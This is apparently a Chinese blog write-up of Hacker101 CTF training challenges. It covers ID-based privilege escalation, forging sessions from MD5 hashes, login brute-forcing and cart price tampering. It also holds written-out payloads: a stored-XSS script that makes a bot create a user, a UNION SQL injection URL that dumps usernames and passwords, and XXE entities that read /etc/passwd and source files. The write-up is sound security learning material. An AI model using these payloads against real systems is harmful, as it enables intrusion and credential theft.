前言

Easy-Postbook

拿到功能有点多,先扫一遍目录

hacker101 CTF 学习记录(二)

.Ds_Store没有啥东西,page是个静态页面

hacker101 CTF 学习记录(二)

随便注册个账号,登录后已经有2篇文章,第一篇文章的id是1

自己创建文章,将url的参数id值改为1,可以越权修改文章,获取第一个flag

hacker101 CTF 学习记录(二)

改成id的值1

hacker101 CTF 学习记录(二)

提交获取flag

hacker101 CTF 学习记录(二)

我们将自己的session的hash值放入md5中,发现MD5解码为3

hacker101 CTF 学习记录(二)

hacker101 CTF 学习记录(二)

因此将session值改为1和2的md5试试看

hacker101 CTF 学习记录(二)

替换为1的md5,登录账号1,获取第二个flag

hacker101 CTF 学习记录(二)

使用2的md5值登录账号2,拿到第三个flag........后面看了hint里面的思路是弱口令

hacker101 CTF 学习记录(二)

与第一个flag的越权修改不同,这次越权修改私密信息,获取第四个flag,其实这个flag应该是越权查看profile的,但一并出来了

hacker101 CTF 学习记录(二)

去查delete跟的hash参数,也是简单的数据经过md5加密的

hacker101 CTF 学习记录(二)

hacker101 CTF 学习记录(二)

因此肯定存在越权,登录另一个账号,删除账号1的文章

hacker101 CTF 学习记录(二)

拿到第五个flag

hacker101 CTF 学习记录(二)

profile也存在越权,通过后面的id,按abcdef的顺序可查看不同账号写的文章,但是这个地方获取的flag是之前提交过的

hacker101 CTF 学习记录(二)

文章发表处也存在越权,可以看到写文章处post请求存在一个参数id

hacker101 CTF 学习记录(二)

那么修改id为1,拿到第六个flag

hacker101 CTF 学习记录(二)

还有一个flag,捣鼓了下修改密码处,无果

整理下现在拿flag的地方,越权查看别人的个人页面和私密信息,越权改他人文章,越权删除,越权发表,账号越权2个

最后一个我看了提示是说的 198*5,最后在遍历文章id的时候发现945处存在flag

hacker101 CTF 学习记录(二)

这类漏洞利用思路hint

hacker101 CTF 学习记录(二)

Moderate-Ticketastic: Demo Instance

这道题没有flag,找了一遍不知道是不是xss盲打的demo,但又没有实际操作的管理员,看他简介说有个bot,但是因为目标服务器出不了外网,所以弹回cookie是不可能的

给了后台管理员登录admin/admin

前台有个反馈

hacker101 CTF 学习记录(二)

反馈后,后台弹框,JavaScript成功执行

hacker101 CTF 学习记录(二)

Moderate-Ticketastic: Live Instance

环境和上一个是一样的,但是有2个flag,且后台登不进去了并且httponly,打不到cookie的

hacker101 CTF 学习记录(二)

但是可以看到他存在一个创建用户,并且提到了后台存在bot,那么我们要控制ajax去添加一个新用户登陆。

拿到创建test/test的请求

http://35.227.24.107/f74667acba/newUser?username=test&password=test&password2=test

hacker101 CTF 学习记录(二)

来手写ajax

<script>
var xhttp = new XMLHttpRequest();
xhttp.open("GET", "http://35.227.24.107/e976981e0b/newUser?username=test&password=test&password2=test", true);
xhttp.withCredentials = true;
xhttp.send();
</script>

hacker101 CTF 学习记录(二)

尝试了下不行

中途有事耽搁了几天,重新申请了环境,改改poc

<script>var xhttp = new XMLHttpRequest();xhttp.open("GET", "http://35.227.24.107/593057b1f1/newUser?username=test1&password=test&password2=test");xhttp.send();</script>

将请求内容放到title中,终于在测试环境中成功了

hacker101 CTF 学习记录(二)

成功添加了test1/test

hacker101 CTF 学习记录(二)

那么在正式题目环境中,尝试一下

<script>var xhttp = new XMLHttpRequest();xhttp.open("GET", "http://34.94.3.143/bfc12eb146/newUser?username=test1&password=test&password2=test");xhttp.send();</script>

![截屏2020-09-08 上午10.03.05](/Users/mi0/Library/Application Support/typora-user-images/截屏2020-09-08 上午10.03.05.png)

登录还是失败,此时我一度怀疑后台小机器人坏了......网上有人尝试<a>标签成功,使用该方法试试

<a href="http://localhost/newUser?username=test&password=test&password2=test">click me </a>

可以成功登了,注意没有hash的路径,他每个路径都是一个docker镜像,所以对于本地服务器来说localhost = xx.xx.xx.xx/hash/

竟然登了进去了,找到第一个flag

hacker101 CTF 学习记录(二)

那么ajax为啥不行么,后面发现还是路径的问题,因此下面的payload是可以的

<script>var xhttp = new XMLHttpRequest();xhttp.open("GET", "http://localhost/newUser?username=test&password=test&password2=test");xhttp.send();</script>

在测试环境之所以可以,因为ajax的请求是访问者触发的,我的电脑可以访问外网因此可以添加用户,而机器人是无法出外网的因此必须要localhost,但是对于机器人来说它的路径没有那串hash,因此这也是为啥payload不成功的原因

第二个flag在id=1处,使用sql的测试语句报错

hacker101 CTF 学习记录(二)

明显sql注入了,sqlmap不知道为啥很慢,带回显的联合注入,直接手注

http://34.94.3.143/86aec2a42c/ticket?id=-1%20union%20select%20(select%20group_concat(id,username,password)%20from%20users),2,3%23

hacker101 CTF 学习记录(二)

这类漏洞利用思路hint

之前同事提到的反射型xss不要急着交,没多少钱,比如这里可以结合ajax,添加用户啊啥的,扩大危害面

hacker101 CTF 学习记录(二)

Easy-Petshop Pro

进入题目分析下功能点,是个购物车功能

hacker101 CTF 学习记录(二)

添加了几个货物后,在check out的时候修改金额为负数,典型的购物逻辑漏洞,获取第一个flag

hacker101 CTF 学习记录(二)

剩下2个flag没有思路,先扫一遍目录

hacker101 CTF 学习记录(二)

看有个login,访问下,错误的用户名会提示Invalid username,尝试爆破下

hacker101 CTF 学习记录(二)

刚好Invalid password和Invalid username 一样的长度,所以通过返回值来判断,可以爆破出用户erika(burpsuit自带字典)

hacker101 CTF 学习记录(二)

同理爆破出弱口令key

hacker101 CTF 学习记录(二)

拿到第二个flag

hacker101 CTF 学习记录(二)

点击edit,换个没登录的账号,存在越权但没有flag,也有xss但没有flag

最后名称处的xss,在主页不会出flag,但是会在购物车里面出第三个flag.....

hacker101 CTF 学习记录(二)

这类漏洞利用思路hint

hacker101 CTF 学习记录(二)

Hard-Model E1337 - Rolling Code Lock

先扫一下目录发现有admin目录

hacker101 CTF 学习记录(二)

访问,没有按钮,input里面没有修改,尝试了传入location参数,没有任何变化

hacker101 CTF 学习记录(二)

接下来看看注释,说有个get-config

hacker101 CTF 学习记录(二)

可以看到确实存在get-config目录,内容也是上面admin目录下的input里面的文本,并且该页面是个xml文件格式

hacker101 CTF 学习记录(二)

那么有get-config,猜测可能存在set-config,访问后验证假设成立,但是请求不对

hacker101 CTF 学习记录(二)

抓包发送options 看一看可以请求的类型,看到请求方法还是只允许get,可能缺失什么参数,输入location也不对,只有爆破一下试试,这里使用burpsuit的short password字典试一试

hacker101 CTF 学习记录(二)

爆破到参数为data的时候为500.....

hacker101 CTF 学习记录(二)

联合之前的get-config是xml格式,这里怀疑传入的可能也是xml格式,也就是xxe漏洞

<?xml version="1.0"?>
<!DOCTYPE root[
    <!ENTITY c SYSTEM "file:///etc/passwd">
]>
<root>
<xxe>&c;</xxe>
</root>

url编码一下

%3c%3f%78%6d%6c%20%76%65%72%73%69%6f%6e%3d%22%31%2e%30%22%3f%3e%0a%3c%21%44%4f%43%54%59%50%45%20%72%6f%6f%74%5b%0a%20%20%20%20%3c%21%45%4e%54%49%54%59%20%63%20%53%59%53%54%45%4d%20%22%66%69%6c%65%3a%2f%2f%2f%65%74%63%2f%70%61%73%73%77%64%22%3e%0a%5d%3e%0a%3c%72%6f%6f%74%3e%0a%3c%78%78%65%3e%26%63%3b%3c%2f%78%78%65%3e%0a%3c%2f%72%6f%6f%74%3e

非常棒,302了,说明成功了

hacker101 CTF 学习记录(二)

但是其他页面都一尘不变,修改下poc,下面成功将test,打印到了admin中

hacker101 CTF 学习记录(二)

hacker101 CTF 学习记录(二)

xxe的poc,我们将读取的文件打入会输出的标签中,因此再次修改poc

<?xml version="1.0"?>
<!DOCTYPE root[
    <!ENTITY c SYSTEM "file:///etc/passwd">
]>
<config>
<location>&c;</location>
</config>

已经成功读取到了/etc/passwd了,但是莫得flag,后面有尝试使用expect协议代码执行,也没有效果

hacker101 CTF 学习记录(二)

那么接下来应该是去读源代码了,这个环境坑定是python写的,结合上一节的一道题目,大概率有以下目录,/app/main.py

<?xml version="1.0"?>
<!DOCTYPE root[
    <!ENTITY c SYSTEM "file:///app/main.py">
]>
<config>
<location>&c;</location>
</config>

拿到第一个flag

hacker101 CTF 学习记录(二)

第二个flag应该是需要unlock了,需要查看代码逻辑,FLAG是存在全局变量里面的

主要看以下代码逻辑,发现code会进入int函数转换为数字,这也是为啥在主界面输入字符时会报错的原因

匹配值会进入next函数,但main.py里面没有next函数的定义

hacker101 CTF 学习记录(二)

观察最开始的import,引入了rng包,因此使用xxe去读取rng.py文件

hacker101 CTF 学习记录(二)

读取后可以看到next的逻辑,但是密码学的渣看不懂啊orz

hacker101 CTF 学习记录(二)

密码种子碰撞不会orz,暂时挖个坑

相关文章: